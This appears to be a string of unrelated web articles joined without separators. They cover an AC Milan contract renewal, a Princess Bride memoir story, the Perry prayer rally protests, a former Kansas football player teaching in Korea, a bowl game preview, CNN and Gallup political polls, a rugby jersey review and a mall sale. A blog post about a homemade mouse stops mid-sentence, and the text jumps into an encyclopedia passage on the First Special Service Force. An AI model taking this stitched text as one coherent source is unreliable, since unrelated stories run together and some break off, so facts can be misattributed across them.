In the end, the Club and the goalkeeper have reached an agreement to extend Gianluigi Donnarumma's contract. Surely positive news for AC Milan who have worked hard to renew the keeper's contract, for the player and the fans. Therefore, Gigio's experience in the Red and Black continues. AC Milan will be holding tight on one of the most talented players in the squad with the class of '99 who will be part of the backbone of the Red and Blacks in the new season. Pure class and talent that will continue to defend AC Milan's goal ready to help the Rossoneri in the race for the Champions League.
Wednesday, at 11 am CEST, Gigio will be at Casa Milan for the signing ritual and to greet the fans!Of all the fans who have professed undying love for “The Princess Bride,” there’s one star Cary Elwes never expected to hear from: Pope John Paul II.
Elwes briefly met His Holiness at the Vatican in 1988, a year after the movie was released. After posing for a quick photo, the pontiff turned to the actor and asked if he was the one from “The Princess and the Bride.” (Infallible, my backside.)
Elwes was so startled, he could barely speak. “Yes,” he answered.
“Very good film. Very funny,” the pope said.
“I mean, what are the chances of that?” Elwes tells The Post. “‘Inconceivable’ was what went through my mind.”
Maybe the revelation wasn’t that shocking. “The Princess Bride” has earned millions of fans around the world — and not always those on the side of the angels.
Mobster John Gotti’s crew also enjoyed it. Many years ago, “The Princess Bride” director Rob Reiner was out at a restaurant in Little Italy when in walked Gotti and a crew of six henchmen.
Reiner finished his meal and walked outside, coming across one of the wiseguys standing in front of a limo.
“Hey!” the mobster yelled at Reiner. “You killed my father. Prepare to die!” Then he chuckled and said, “‘The Princess Bride.’ I love that movie.”
Don’t we all. The fairy tale is about a swashbuckler named Westley (Elwes) who has to rescue his true love, Buttercup (Robin Wright), before she is forced to marry the evil Prince Humperdinck (Chris Sarandon).
Along the way, Westley gets help from two outlaws, Inigo Montoya (Mandy Patinkin) and his oversized companion, Fezzik (Andre the Giant).
Now Elwes, 51, has written a memoir of his time on the set. “As You Wish” hits shelves Tuesday.
“We all get asked by the fans, ‘Was it as much fun making the film as it looked?’ I always say that it was more fun,” says Elwes. “I thought, rather than to try and explain it in a short meeting with fans, why not try and put it down on paper?”
“The Princess Bride” didn’t do particularly well during its initial theatrical release, earning a middling $30 million. The movie only acquired a rabid fanbase some years later when viewers began to discover it on VHS and DVD.
The script was by William Goldman, based on his 1973 novel, and the author had struggled for years to get a movie version off the ground.
Various incarnations had come and gone. One version was to star Arnold Schwarzenegger as the giant, Fezzik. Instead, the French-born wrestler Andre the Giant — who was 7 feet 4 and weighted 540 pounds — got the role.
Because Andre’s English wasn’t great, Reiner put the entire script on audio tape for him to memorize.
Elwes reveals Andre to be the most colorful character on set. He was a gentle giant, who called everyone “boss.” He was aware that people his size rarely lived long, so he tried to wring the most out of every day.
That philosophy included a big appetite for food and booze. Legend has it that Andre could down 100 beers in a single sitting, and his average daily consumption consisted of an entire case of beer, three bottles of wine and two bottles of brandy.
After the film wrapped, Elwes joined Andre for a night of drinking at P.J. Clarke’s on Third Avenue — one of the giant’s favorite Manhattan watering holes.
As Andre was downing his usual, a mix of hard spirits served in a beer pitcher, Elwes noticed a man sitting alone watching them.
Elwes and Andre eventually left Clarke’s and headed to a few other Manhattan bars. All the while, the man followed and continued to watch them.
When Elwes asked Andre if he noticed the stalker, the wrestler confided that the man was an undercover cop. After one of his previous nights of bar hopping, Andre had fallen over while waiting for a car, injuring a passerby.
Since then, Andre claimed, the NYPD assigned an officer to tail him whenever he went out drinking in New York.
“They said it was for my own safety,” Andre told Elwes.
Others needed to be protected from him, as well. In the scene when Westley is revived after being mostly dead, Andre interrupted one take with “the most monumental fart,” which was like an “earthquake.”
“That was a big one, wasn’t it?” Andre asked.
“The Princess Bride” shoot was beset by a few accidents, two of which nearly proved disastrous.
One day during a break in filming, Elwes took a joy ride on an ATV at Andre’s insistence. As he bounced over some rocks, his big toe got caught and snapped backwards, breaking it.
Fearing he’d be replaced, Elwes downplayed the injury and insisted on continuing to film, even though he could barely stand and walk.
Watch the scene shot that day in which Westley — disguised as the Dread Pirate Roberts — sits with Buttercup on a hillside and tells her, “Life is pain.” As he stands up, you can clearly see him favoring his right leg.
The other injury was suffered by Patinkin under even stranger circumstances.
After Westley is rendered “mostly dead” at the hands of the evil prince, Inigo and Fezzik carry him to Miracle Max, an elderly healer played by Billy Crystal, who based the schticky character on his grandmother and former Yankees manager Casey Stengel.
Reiner gave Crystal free rein to improvise, and many of the scene’s memorable lines were ad libbed, including the crack about true love being the greatest thing next to a good MLT — mutton, lettuce and tomato.
The cast and crew had trouble keeping their composure. Reiner had to leave the room after ruining several takes, and Elwes — who was supposed to lie motionless on a table, pretending to be mostly dead — had to be replaced by a dummy, because he couldn’t keep from cracking up.
Patinkin kept his laughter bottled up and actually bruised a rib holding it in.
The final mishap involved Elwes and the scene in which Christopher Guest, playing the prince’s sidekick Count Rugen, knocks Westley out with the butt of his sword.
During the first few takes, Guest faked hitting Elwes, and the stunt never looked convincing. So Elwes suggested Guest hit him for real — but lightly.
On the next take, Guest swung a bit too hard, connected with Elwes’ head and knocked him out for real. That take ended up in the movie.
Legend has it that Andre could down 100 beers in a single sitting.
Less violent means were involved in persuading Mark Knopfler of Dire Straits to compose the score.
The guitarist said he’d do it under one condition: that Reiner sneak the USS Coral Sea baseball cap worn by his character Marty DiBergi in the 1984 rock mockumentary “This Is Spinal Tap” into the movie.
You can spot it hanging in Fred Savage’s bedroom as Peter Falk, playing the youngster’s grandfather, reads him the story of “The Princess Bride.”
The scene that required the most preparation was the duel between Westley and Inigo, described in the screenplay as “The Greatest Swordfight in Modern Times.”
Goldman had spent months researching fencing and filled the script with references to particular styles and defenses.
Elwes and Patinkin trained for nearly three months, working with stunt coordinators on the choreography. The actors begin the scene fighting with their left hands, then, in a twist, switch to their right.
Mid-battle, Inigo smiles and tells Westley, “I know something you don’t know. I am not left-handed.”
“There’s something I ought to tell you,” Westley replies. “I’m not left-handed either.”
The gag required the actors to become ambidextrous with the sword — a feat that the stunt coordinators didn’t think was possible, so the production had doubles standing by, in case.
The scene was among the last to be filmed, giving Elwes and Patinkin more time to train. A couple weeks before the cameras were to set to roll on the duel, after hundreds of hours of work, the actors demonstrated the scene for Reiner.
After it was over, Reiner scratched his beard and asked, “That’s it?”
The stunt coordinators had originally demonstrated the scene to the director at half-speed, making it seem longer than it ended up being when Elwes and Patinkin performed it at full speed — just 1 minute and 23 seconds.
The actors and choreographers were sent back to the drawing board and lengthened the sequence to nearly 3 minutes by borrowing elements from other swashbuckling movies such as “The Mark of Zorro” and “The Sea Hawk.”
Reiner avoided another potential pitfall with an alternate ending penned by Goldman that was shot but (thankfully) never used.
The finale found Savage’s character in his modern-day bedroom leafing through “The Princess Bride” book when he hears a noise outside.
He looks out the window to find the fairy tale characters — Westley, Inigo, Buttercup and Fezzik — sitting on horses and “beckoning him to join” the next adventure.
Elwes isn’t quite sure why the film has endured for so long. In “As You Wish,” he offers that it’s because “it was made with a lot of heart.” It’s about as uncynical a film as you can find.
“In the film, [Goldman and Reiner] were able to explore that love of storytelling in a way they perhaps will never be able to again.”Objectors respond loudly to Perry prayer rally
HOUSTON — Three days before The Response, the Reliant Stadium prayer event Gov. Rick Perry initiated two months ago, the response has been spirited among those objecting to the governor's participation.
On Tuesday, more than 50 Houston-area religious and community leaders disseminated a signed statement drafted by the Anti-Defamation League expressing “deep concern” about a prayer rally “not open to all faiths,” while the Houston GLBT Political Caucus and related organizations announced a Friday rally at Tranquility Park to protest the event.
The groups that represent gay, lesbian, bisexual and transgender individuals accused the American Family Association and other sponsors of the prayer event of hatred toward the GLBT community.
The ADL statement followed a June letter from the Houston Clergy Council that criticized the governor for excluding non-Christians, partnering with an anti-gay group and blurring boundaries between church and state.
“Governor Perry has a constitutional duty to treat all Texans equally, regardless of race, religion or ethnicity,” the ADL statement reads. “His official involvement with The Response, at minimum, violates the spirit of that duty.”
In a news release, ADL southwest regional director Martin Cominsky said, “We strongly believe this statement, signed by so many of our most respected religious and community leaders, reflects the feelings of many Texans who are concerned that Governor Perry is overstepping his bounds in supporting an exclusionary sectarian religious event.”
Organizers of the Perry prayer event have not announced whether the governor will give a speech or how he will participate during the seven-hour program. Last week, a federal judge threw out a lawsuit brought by atheists and agnostics aimed at preventing Perry from participating in his official capacity as governor.
Perry, who joked last week that he may be an usher at the event, initially invited all the nation's governors, but the only one who has said he would attend, Kansas Gov. Sam Brownback, may be having second thoughts, the Lawrence Journal World reported.
Brownback announced in June that he had accepted Perry's invitation, but since then, according to the Lawrence newspaper, the governor's office would not confirm his plans, saying only that he would be on vacation this weekend.
The Response spokesman Eric Bearse said Tuesday that two nationally known religious figures serving as co-chairmen of the event, Dr. James Dobson and the Rev. Samuel Rodriguez, will help lead the gathering in prayer and worship.
Dobson hosts the daily radio program “Family Talk with Dr. James Dobson,” and Rodriguez is president of the National Hispanic Christian Leadership Conference.
Bearse said “several thousand people” have registered, indicating they would attend, and more than a thousand churches and individuals have signed up to simulcast the event in their local communities.
Reliant Park officials have said they planned a “small arena configuration” that would accommodate about 10,000 people.Gwangju, South Korea — Eleven months ago, former Kansas University football standout Kerry Meier traveled to Korea to teach English to Korean students.
He was chasing a dream. His brother’s dream.
Meier’s older brother, Dylan, died in 2010 at the age of 26 after falling from a cliff while hiking with his family in Arkansas. Later that year, Dylan Meier, a former Kansas State quarterback, was set to begin teaching English near Seoul, Korea.
“Since his passing, it’s been kind of my adventure and kind of my — I wouldn’t call it pursuit — motive to go and do things that he never quite got to fulfill,” Kerry Meier said. “This is one of the things that kind of blessed me at a crossing point in my professional life and it gave me that opportunity to come here and do this.”
Meier, who split time at quarterback and receiver with the Jayhawks during his five-year career, is under contract with the International Language School, along with his girlfriend, Alexandria Martinez. They live in Jeonju, South Korea, about an hour north of Gwangju, where the Kansas men’s basketball team is representing the United States in the World University Games.
In the morning, Meier teaches kindergartners before elementary school students visit in the afternoon. He said the differences between Korean and Western educations has been “really neat” and has taught him “to work towards other things in life other than just sports.”
Photo
“I’ve grown in so many different ways that I never imagined,” Meier said. “It’s been entirely a lot of fun doing it, as well. Learned a lot. Wouldn’t change it for the world. It’s been a blast being here and getting to do this experience, especially like my standpoint and our standpoints in our lives.”
Meier owns KU school records with 102 receptions in a season, 226 in his career and 16 in a game. He helped the Jayhawks to an Orange Bowl title in 2008.
A fifth-round pick by the Atlanta Falcons in the 2010 NFL draft, Meier battled multiple injuries throughout his career before being waived by Atlanta in 2013.
“It’s been exactly what both of us have been looking for because finishing football, looking to do something entirely different,” said the blonde-haired, charismatic Meier. “Kind of get away from the physical aspect of sports.”
Meier will return to the U.S. in about a month. His girlfriend is planning to enroll in graduate school at New York University, studying international studies. Meier will take online courses toward a nutrition degree before beginning graduate studies at Lipscomb University in Nashville, Tennessee, in December 2016.
“The goal right now is to complete my graduate degree in nutrition and then the whole world of becoming a registered dietician,” Meier said. “My goal is to get back into college athletics and I’d love to become like a college nutritionist in a college athletics program.”
Meier and Martinez bused to Gwangju on Sunday to watch the Jayhawks beat Brazil, 81-72. He found out the Jayhawks were playing in Gwangju from a friend recently.
“He was like, ‘You know KU is coming by.’ I was like, ‘Get out of here,’” Meier said.
“To see them 45 minutes away, 6,000 miles away all the way across the world, it’s so weird but obviously it’s great to see some crimson and blue.”
With the 14-hour difference from Lawrence time in Korea, Meier hasn’t been able to watch football for the past year, but he still tries to stay updated on the Jayhawks.
“It’s been a rough past few years watching it, but I’m always hopeful,” Meier said. “I stay in contact with obviously a lot of guys that I played with. We’re all on the same page.
“We’re trying to do something new and with coach (David) Beaty kind of having a taste of success when he was there at Texas A&M.; hopefully we can put a bunch of that together and just get things going back in the right way.”
Eleven months into his adventure, fulfilling his brother’s goals, Meier takes his brother’s memory to places he wished his brother could’ve gone. He wrote in a blog post in April, “In my quest to fulfill my life’s ambitions I have one that I want to hear when I see him again. ‘Brother, I’m proud of you.’”
The youngest of four boys, Meier continues to walk down life’s path with his brother in mind.
“It’s really odd but here we are five years later,” Meier said. “We’ve been able to do big things in his memory. We created a foundation (Get Busy Livin’) that’s been able to be very beneficial to a lot of different organizations and different kids with scholarships.
“Our main objective is to be able to tap into groups that are kind of curious about building character in different ways. We’ve been able to do a lot of different things, and bigger and better things as we continue to grow.
“It’s just been a lot of fun. It’s been a blessing to just be a part of it.”ORLANDO — The Florida Gators (10-3, 7-1 SEC) and Michigan Wolverines (9-3, 6-2 Big Ten) are two of the most storied programs in college football but they have rarely met on the gridiron. The Buffalo Wild Wings Citrus Bowl will be just the third meeting between the two schools (Michigan is 2-0). With an out of conference opponent, and a team that is on the last game of a new coaching staff’s first season, there are a lot of unknowns about the Wolverines in Gator Country.
Let’s take a look at the five biggest playmakers on both sides of the ball, guys that head coach Jim McElwain and the Gators will need to gameplan for as they prepare for their last game of the season.
Jake Rudock — Quarterback — Senior
Stats: 229-358 (64%) 2,739 yards, 17 TD, 9 INT
A graduate transfer from Iowa, Rudock (a product of St. Thomas Aquinas in Ft. Lauderdale, Florida) has given Michigan stability at the quarterback position. Jim Harbaugh called Rudock a “godsend” for his football team even after Rudock threw five interceptions in his first three games in maize and blue.
Michigan’s passing offense is sixth in the Big Ten (234.3 yards per game) this season and Rudock is the catalyst of that.
Jabril Peppers — Safety/Athlete — RS Freshman
Stats: Defense: 45 tackles, 5.5 tackles for a loss, 10 pass breakups
Offense: 18 carries, 72 yards, 2 TD, 8 receptions, 79 yards
Returner: 17 punt returns, 194 yards, 8 kick returns, 223 yards
Peppers does a lot of everything for Michigan. A starting safety, Peppers is also Michigan’s best returner and has packages set up for him to get the ball on offense. The New Jersey product is the best player on the team and Harbaugh has done a good job of making sure Peppers is given the opportunity to play with the ball in his hands.
On defense, Peppers is a ball hawk and a hard-hitting safety. Florida needs to know where he is at all times as he’s someone who can make Treon Harris and the offense pay for a mistake. On special teams, Peppers has put up better numbers than Michigan legend Desmond Howard during Howard’s Heisman season in 1991.
Jourdan Lewis — cornerback — Junior
Stats: 49 tackles, 3.5 tackles for loss, 1 sack, 2 interceptions, 21 pass breakups, 1 forced fumble
Lewis has been Michigan’s best cornerback this season. His 21 pass breakups are second in the Big Ten and a Michigan season record. Pro Football Focus mentioned Lewis as a Heisman candidate in November, stating that Lewis had been targeted 72 times this season, allowing just 26 receptions and only allowed a receiver to catch more than 40 yards on him once.
Lewis has been lights out all season and he’ll likely draw matchups with Demarcus Robinson and Antonio Callaway, Florida’s best receivers.
Jake Butt — Tight End — Junior
Stats: 48 receptions, 620 yards, 3 TD
Butt was named the Big Ten tight end of the year. Butt had 20 more receptions and 255 more total yards than the next best tight end in the conference. His 48 receptions are more than any player on Florida’s roster. Butt is Michigan’s best receiver and has become Rudock’s go-to target on big downs. The 6-6, 250 pound tight end is a matchup nightmare for most teams and will be a lot to handle for Florida. Brian Poole and Marcus Maye will likely be tasked with covering him, but if Michigan can find matchups with any of the Florida linebackers they can make Florida pay.
Amara Darboh — Receiver — Senior
Stats: 56 receptions, 703 yards, 5 TD
Darboh led the Wolverines in receptions and yards this season. His five touchdowns were second on the team.
Darboh’s story is amazing. Darboh was born in Sierra Leon, Africa just as civil war began to break out in the country. Darboh’s parents were both killed in the first five years of his life and Darboh had to escape the country with a group of relatives on foot to Gambia and Senegal before having the opportunity to move to American in 2001.
Darboh saved his best season for last but will face a tough task when lined up against any of Florida’s three cornerbacks.7 years ago
Washington (CNN) - Most Americans approve of the decision by the House of Representatives to censure Attorney General Eric Holder, but a new national poll also indicates that a majority of the public thinks that House Republicans are investigating Holder to gain political advantage.
According to a CNN/ORC International survey released Monday morning, 53% of people questioned say they approve of the House vote a week and a half ago to hold the attorney general in contempt of Congress for refusing to turn over documents related to a controversial program called Operation Fast and Furious, with one in three saying they disapprove of the move and 13% unsure.
See full results (PDF)
- Follow the Ticker on Twitter: @PoliticalTicker
Nearly three-quarters of Republicans approve of the move, as do a majority of independent voters, while a plurality of Democrats oppose the vote.
House Democrats say that the GOP is really just trying to gain political advantage, and 61% of the public appears to buy that argument as well, with 34% saying that House Republicans had real ethical concerns about the way the program was handled.
Fast and Furious, a discredited gun-running operation that was run by the Bureau of Alcohol, Tobacco, Firearms and Explosives, has become a sharp point of contention between Democrats and Republicans. President Barack Obama has asserted executive privilege in the case, and Holder will not face criminal prosecution.
Nearly seven in 10 say the Obama administration should answer all questions, with 27% agreeing with the move to invoke executive privilege.
"Public opinion is identical to what it was when the shoe was on the other foot - in 2007, when House Democrats were investigating the dismissal of eight U.S. attorneys and the administration of Republican President George W. Bush was claiming executive privilege, Americans felt that the Republicans should answer all questions and that the Democrats were just trying to gain political advantage," says CNN Polling Director Keating Holland.
According to the survey, roughly three in 10 Americans have an unfavorable view of Holder; only one in four have a positive view of him and 44% are unsure how they feel about the attorney general.
The CNN poll was conducted by ORC International from June 28-July 1, with 1,517 adult Americans questioned by telephone. The survey's overall sampling error is plus or minus 2.5 percentage points.
CNN Political Editor Paul Steinhauser contributed to this report.Story Highlights Clinton's favorability among LGBT adults is 55%; Trump's is 12%
LGBT adults favor Clinton more, Trump less than non-LGBT adults
Race and ethnicity are not a factor in LGBT views of candidates
WASHINGTON, D.C. -- Democratic candidates have historically garnered widespread support among the lesbian, gay, bisexual and transgender (LGBT) community, and this year is no exception. So far in October, 55% of LGBT adults view Democrat Hillary Clinton favorably, similar to the majority viewing her favorably since the primaries wrapped in June. By contrast, barely one in eight LGBT adults (12%) view Republican Donald Trump favorably, also consistent with ranges since June.
LGBT Americans view Clinton more positively than non-LGBT Americans do, with 55% and 41%, respectively, rating her favorably. At the same time, LGBT Americans, at 12%, view Trump much less favorably than non-LGBT Americans do, at 32%. The favorability of both candidates has not varied much since June.
These results are based on Gallup Daily tracking and include more than 450 individuals each month who self-identify as lesbian, gay, bisexual or transgender from June through September, and 282 from Oct. 1-20. Before June, LGBT adults were slightly more favorable toward Trump, giving him an average 17% favorable rating from January through May, compared with 32% of the non-LGBT population. Opinions of Clinton from January through May were similar to where they have been in recent months among both groups.
Although vote preferences cannot be directly inferred from favorable ratings, the favorability data suggest Clinton should fare much better among LGBT voters than Trump, consistent with the LGBT community's previous support for Democratic presidential candidates. For example, 76% of LGBT adults supported Democratic nominee Barack Obama in the 2012 election, compared with 22% who voted for Republican candidate Mitt Romney.
Candidate Favorability by Demographic Characteristics
Previous Gallup research shows that images of Clinton and Trump differ across a number of demographics. For example, women have less favorable views of Trump than men do, those with a college degree are more likely to view Clinton favorably, and blacks and Hispanics hold Clinton in much higher regard than they do Trump.
These patterns are not entirely the same within the LGBT population, according to combined data from June through Oct. 20, 2016. For example, among non-LGBT Americans, non-Hispanic white individuals report a substantially higher level of favorability toward Trump than their nonwhite counterparts (43% vs. 13%, respectively). But among LGBT adults, the differences by race or ethnicity are minor, with Trump being viewed favorably by just 13% of non-Hispanic whites and 11% of nonwhite adults.
LGBT support for Clinton also varies little by race or ethnicity, contrasting with the significantly stronger favorability she receives among the nonwhite, non-LGBT population. The lack of big differences in favorability by race or ethnicity among LGBT individuals can, in part, be explained by the fact that party identification doesn't differ as much between non-Hispanic white and nonwhite LGBT adults as it does for their non-LGBT counterparts. Among both white and nonwhite LGBT adults, more than 70% say they are Democrats or lean Democratic. Among non-LGBT individuals, 61% of nonwhite adults identify as Democrat, compared with only 35% of their non-Hispanic white counterparts.
Favorability of Hillary Clinton and Donald Trump, by LGBT Identification, Gender and Race/Ethnicity LGBT: Favorable view of Trump LGBT: Favorable view of Clinton Non-LGBT: Favorable view of Trump Non-LGBT: Favorable view of Clinton % % % % Male 16 56 39 33 Female 9 55 28 45 White 13 54 43 29 Nonwhite 11 57 13 62 Gallup, Oct 1-20
While Trump has better favorability among men than women overall, the gender gap in favorability is particularly striking in the LGBT population, as LGBT men are nearly twice as likely as LGBT women to have a favorable view of Trump (16% vs. 9%, respectively). Among non-LGBT adults, 39% of men and 28% of women view Trump favorably.
Clinton's image is least positive among young adults (those aged 18 to 34) for both LGBT and non-LGBT adults. Forty-six percent of LGBT young adults view her favorably, compared with 36% of non-LGBT Americans in this age group. Trump's favorability is highest among those aged 55 and older, regardless of LGBT identity. Slightly more than one in five LGBT adults aged 55 and older (21%) have a favorable view of Trump, compared with 41% of non-LGBT adults in this age range.
Favorability of Hillary Clinton and Donald Trump, by LGBT Identification, Age and Party Affiliation LGBT: Favorable view of Trump LGBT: Favorable view of Clinton Non-LGBT: Favorable view of Trump Non-LGBT: Favorable view of Clinton % % % % 18-34 10 46 23 36 35-54 12 65 34 40 55+ 21 68 41 41 Republican/Lean 51 19 67 8 Independent 14 20 17 26 Democrat/Lean 4 69 6 73 Gallup, Oct 1-20
While 15% of LGBT adults in the Gallup data identify as Republican or lean Republican, LGBT Republicans report less favorable views of Trump and more favorable views of Clinton compared with non-LGBT Republicans. Barely more than half of LGBT Republicans (51%) have a favorable view of Trump, compared with 67% of non-LGBT Republicans. Among Republicans, 19% of LGBT adults have a favorable view of Clinton, compared with just 8% of their non-LGBT counterparts. Among independents and Democrats, patterns of candidate favorability do not differ much by LGBT identity.
Bottom Line
While Trump has attempted to position himself as more receptive to LGBT issues than previous Republican nominees, the Republican Party's platform still opposes marriage equality, bathroom choice for transgender individuals and parenting rights for same-sex couples. In contrast, Clinton supports marriage equality and wants to pass a federal law that would prohibit discrimination based on sexual orientation and gender identity.
To the extent that favorable views of presidential candidates translate to votes, it appears the LGBT community leans strongly toward Clinton. However, the patterns of support among various constituencies are not entirely consistent among LGBT and non-LGBT adults. Notably, race and ethnicity do not appear to be a factor in gauging support for either candidate among LGBT individuals.
Analyses of 2012 voting patterns suggest that without the support of the 5% of voters in four key swing states who identified as LGBT, President Barack Obama may have lost those states, jeopardizing his re-election. Current polling shows Clinton faring much better against Trump at this point in the election cycle compared with Obama's position relative to Romney. The closer the popular vote, the more likely it is for the LGBT community and other small voting blocs in swing states to have a clear effect on the election results. Assuming that favorability translates into votes, Gallup polling on the images of the two candidates suggests that Clinton, similar to Obama, will garner the lion's share of LGBT support. But unless the race tightens, it's unlikely that LGBT support will play a decisive role in determining the next president.
Survey Methods
Results for the most recent candidate favorable ratings are based on telephone interviews conducted June 1-Oct. 20, 2016, on the Gallup U.S. Daily survey, with a random sample of 69,075 adults, aged 18 and older, living in all 50 U.S. states and the District of Columbia. Of this group, 2,220 respondents identified as lesbian, gay, bisexual or transgender. For results based on the non-LGBT sample of national adults, the margin of sampling error is ±0.5 percentage points at the 95% confidence level. For LGBT adults, the comparable margin of error is ±2 percentage points at the 95% confidence level. Margins of error within subpopulations of both groups are higher and vary depending on sample size. All reported margins of sampling error include computed design effects for weighting.
Each sample of national adults includes a minimum quota of 60% cellphone respondents and 40% landline respondents, with additional minimum quotas by time zone within region. Landline and cellular telephone numbers are selected using random-digit-dial methods.Hot on the heels of the BLK Ospreys ‘Batjersey’ we reviewed yesterday comes the second entry into the Australian firm’s range of DC Superhero shirts. Connacht have been with BLK longer than any other Northern Hemisphere team, and it’s pretty fitting then, that the men in green get perhaps the most striking superhero shirt the company has produced.
The melding of the Green Lantern and Connacht’s colours is so obvious that the meeting to decide which DC the men from Galway would get for their special jersey must have lasted all of seven minutes, and that includes the time taken to finish off the tea and biscuits. Connacht’s colours are green and dark blue, the Lantern’s colours are green and black… and what we have here is a clever mix of all three, with the black parts of the jersey having a definite blue-y hue to them.
Thankfully, while the meeting to pick the theme must have been Superman-taking-a-leak quick, clearly a lot more thought and care has gone into the design – it’s a beautiful thing, and one of our favourite superhero shirt designs we’ve seen in either code over the last few years.
Like the Ospreys BatJersey, there’s a definite armour vibe about the basic design here, with the plates and panels around the shoulders giving it more of a feel of the New 52 Green Lantern than Hal Jordan’s more classic, spandex-y look. We’re equally pleased that despite many superhero jerseys favouring to follow the movies as far as the basic design goes, they’ve steered well clear of anything that reminds us of the utterly dreadful Ryan Reynolds suit/film, though a glowing lantern on the front of the shirt would have been pretty awesome if the technology existed to do such a thing…
We love the way the Green Lantern Corps logo sits so well in the middle of the chest, smack bang in the middle of the sponsors and club crest. It gives the shirt a nice symmetry, that’s only enhanced by the prevalence of white on the sponsors. We’ve been big fans of the comic-style ‘hand drawn’ effect of the BLK superhero jerseys, and this is probably the best example we’ve seen so far. The accents and the shading around the abs and the shoulders really does give the effect that the shirt has been drawn, and that sense is multiplied when the jersey’s on the field.
If there’s one slight niggle we have, it’s to do with the bottom of the shirt – the black sections around the waist reflect the way the Green Lantern costume blends into black leggings, however, Connacht don’t have black shorts in their locker, and it seems that they’ll be rocking green ones instead when they wear this shirt. We think it looks a bit odd, and we wonder if the dark blue away shorts would look a bit better… maybe not, but as we said, it’s a very minor niggle.
This is another absolutely awesome jersey from BLK, which Connacht will be wearing it for their game against Munster on the 28 November, and we can’t wait to see it on the field. Rarely has the superhero jersey concept melded so well with a clubs colours and general design philosophy.
SHIT/GOOD RATING: Green Lantern’s light!The struggling, nearly 1 million square foot property has been sold.
[UPDATE (2/4/2016): A member of the Northlake Business Association told What Now Atlanta (WNA) Wednesday that ATR Corinth Partners out of Dallas, Texas is the group that purchased the property. The commercial property group has history redeveloping declining shopping malls, such as Nashville's 100 Oaks Mall. ATR Corinth received an award from the Urban Land Institute for the project.]
WP Glimcher, a national REIT developing enclosed regional and super-regional malls and community shopping centers, in a press release Monday announced the completed sale of Northlake Mall.
Along with Forest Mall in Fond Du Lac, Wisconsin, Northlake was sold for an aggregate purchase price of $30.0 million to private real estate investors that have not been disclosed.
In 2014 when Simon decided to unload the property, the ownership of Northlake Mall was transferred to Washington Prime Group, a newly-formed real estate investment trust. In 2015, the group acquired Glimcher Realty Trust, and formed WP Glimcher.
The sale of the property was part of an effort by Simon to focus on the real estate developer's larger malls and outlet centers. The company also unloaded Gwinnett Place Mall in 2012.
Northlake Mall, built in 1971, is almost 1 million square feet. The mall's fate is unknown.
What do you hope ATR Corinth's plans for Northlake Mall will include? Tell us below...Today I finished working on my new ergonomic mouse, which features a giant weighted scroll wheel. I started this project on March 26th, and worked on it for about 15 hours altogether.
Read on for pictures of the process.
Several of my co-workers mentioned to me today (after seeing the finished product) that there is well-established microcontroller code for making your own mouse from scratch. However, I am |
another. The Canadian troops, however, arrived in all different manners of uniform: some wore kilts, others tartan trousers (trews) and others Bermuda shorts. Headgear differed just as widely, depending on where the soldier was from – wedge caps for some, black berets for troops taken from armoured regiments and large khaki Tam o' Shanters for soldiers from Scottish regiments. Eventually, it was decided that the uniforms would come from an American supplier and olive drab trousers and blouses were issued. The only thing that differentiated an American Force member from a Canadian one was the identification disc, aka "dog tags," worn by the soldier (Americans wore American metal ID tags and Canadians wore Canadian ID discs). Forcemen also wore a red, white and blue aiguillette. For mountain warfare, the men were given baggy ski pants, parkas and a helmet. Standard boots were originally the same as those issued to parachuting regiments, but these were substituted with infantry combat boots in Italy.[40]
Colonel Frederick worried from the outset that the soldiers from both countries would have trouble forming a cohesive unit. On a base level, the techniques and commands used by either army were confusing to the other. Commands for marching, for example, had to be homogenized in order for the unit to operate in the field effectively. In order to satisfy the men from both countries, compromises were made. Canadian bagpipers were put into American unit marching bands to play "Reveille" every morning. The marching styles and commands of the American and Canadian armies were mixed and uniforms were made identical.[41] In the end, Frederick's fears were unfounded as the men bonded through training and dedication to the force.[42]
Unit awards, legacy and memorials [ edit ]
Unit awards
The First Special Service Force was awarded the French Croix de Guerre with Silver-Gilt Star, as well as the Distinguished Unit Citation for extraordinary heroism. A large number of the "Devil's Brigade" members were honored for their acts of valor, including Tommy Prince, Canada's most decorated First Nations soldier of World War II. Also, U.S. member Wendell C. Johnson (Fifth Company, Third Regiment, serial # 37 168 437), risking his life to save a fellow Black Devil, walked into a minefield and brought his brigade comrade to safety. When they tried to give him a medal for his act of heroism, Wendell declined saying, "Give it to the man who lost his leg".
Descendant units
The 1st Special Service Force is claimed as a direct ancestor by two modern special operations units; the Canadian Special Operations Regiment (CSOR) of the Canadian Special Operations Forces Command and the 1st Special Forces Command (Airborne) of the United States Army Special Operations Command.
In 1952 Colonel Aaron Bank (an operator for the Office of Strategic Services [OSS] during WW II) created another elite unit using the training, strategies, and lessons learned from various OSS team missions as well as the experiences of the First Special Service Force (FSSF). This force evolved into the United States Army Special Forces (aka the Green Berets) which draws its lineage from both the OSS and the FSSF. In Canada Military Intelligence and Logistical Operations 1952–1988, the Canadian Airborne Regiment 1968–1995 which formed part of the Special Service Force 1977-1995 and today's Canadian Special Operations Regiment, like United States Army Special Forces, trace their roots to the FSSF. Just like in World War II, Canada's elite JTF2 and the United States' elite SFOD-D operators were united once again into a special assignment force for the 2001 invasion of Afghanistan.
Plaque located on Interstate 15 between Helena and Great Falls
As part of the brigade's 65th anniversary celebration, a Canadian special forces soldier arrives at Fort Lewis
In 2006 the Canadian members of the 1st Special Service Force received the United States Army's Combat Infantryman Badge for participation in front-line combat. On February 3, 2015, the FSSF was awarded the Congressional Gold Medal, the highest award congress can give to civilians.
Other memorials
In 1996, Interstate 15 in Montana between Helena and Sweet Grass was renamed the "First Special Service Force Memorial Highway".[43] This highway was chosen because it was the route taken in 1942 by the Canadian volunteers to join their American counterparts for training at Fort Harrison.[43] The entire length of Alberta Highway 4 received the same name in 1999.[43]
The force is also memorialized in a commemorative plaque outside the Protestant Cemetery, Rome, next to the Pyramid of Cestius and another on the Embassy of the United States in Rome, facing Via Vittorio Veneto.
U.S. Army Special Forces Tab
When the Special Forces Tab was created in 1983 for wear by members of the U.S. Army Special Forces, it was also retroactively awarded to members of wartime combat units that had been identified as predecessors of the Special Forces. Thus, any soldier who had spent 120 days in wartime service with the First Special Service Force was authorized to wear the Special Forces Tab.[44]
Battle honors [ edit ]
Aleutians campaign, 1943
Kiska and Little Kiska – 15 – 19 August 1943
Segula Island – 17 August 1943
Italian (Naples-Foggia, Anzio, Rome-Arno) campaigns 1943–1944
Monte la Difensa, Rocca d'Evandro – 3–6 December 1943
Monte la Remetanea, Rocca d'Evandro – 6–9 December 1943
Monte Sambúcaro, S.Pietro-S.Vittore – 25 December (Christmas Day), 1943
Radicosa, S.Vittore – 4 January 1944
Monte Majo – 6 January 1944
